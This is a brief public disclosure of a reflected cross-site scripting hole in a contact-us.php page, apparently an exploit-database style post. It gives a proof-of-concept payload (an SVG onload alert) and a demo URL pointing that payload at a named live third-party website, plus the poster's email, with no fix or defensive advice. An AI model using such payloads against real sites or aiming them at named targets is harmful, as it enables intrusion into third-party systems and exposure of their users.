Vulnerable File: contact-us.php?msg=
[+] Vulnerable parameter: Get method
#### POC:
[+] site.com/contact-us.php?msg=<svg/onload=alert(document.domain)>
#### Alert Code:
<svg/onload=alert(document.domain)>
[+] Demo :
[+] http://vinmanstoney.in/contact-us.php?msg=%3Csvg/onload=alert(document.domain)%3E
### Contact Me :
* Email : tuan.it.1695@gmail.com